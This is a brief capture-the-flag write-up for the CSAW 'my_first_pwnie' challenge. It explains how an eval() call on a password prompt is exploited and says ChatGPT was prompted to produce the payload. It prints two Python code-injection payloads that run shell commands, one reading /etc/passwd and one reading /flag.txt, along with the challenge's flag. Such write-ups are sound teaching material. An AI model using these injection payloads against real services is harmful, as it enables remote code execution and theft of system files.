CSAW - LLM

Suriya Prakash Jambunathan - sj3828
Krishnan Navadia - kn2501

pwn/my_first_pwnie

Observation:

The challenge provides us with a python script that asks for user input (password), and checks whether it is equal to the set password.

Approach:

1. Observe the python script.
2. Observe the vulnerabilities (in this case “eval”) in the script to exploit.
3. Identify the string that will result in remote code execution.
4. Extract the printed flag.

Solution:

1. Prompted ChatGPT to give a python code for steps 2-3 in the Approach.

```
__import__('os').system('cat /etc/passwd')
```

2. Modified ChatGPT’s payload to print “/flag.txt”.

```
__import__('os').system('cat /flag.txt')
```

Flag: *csawctf{neigh_____}*
Chat: *CSAW LLM - My First Pwnie (openai.com)*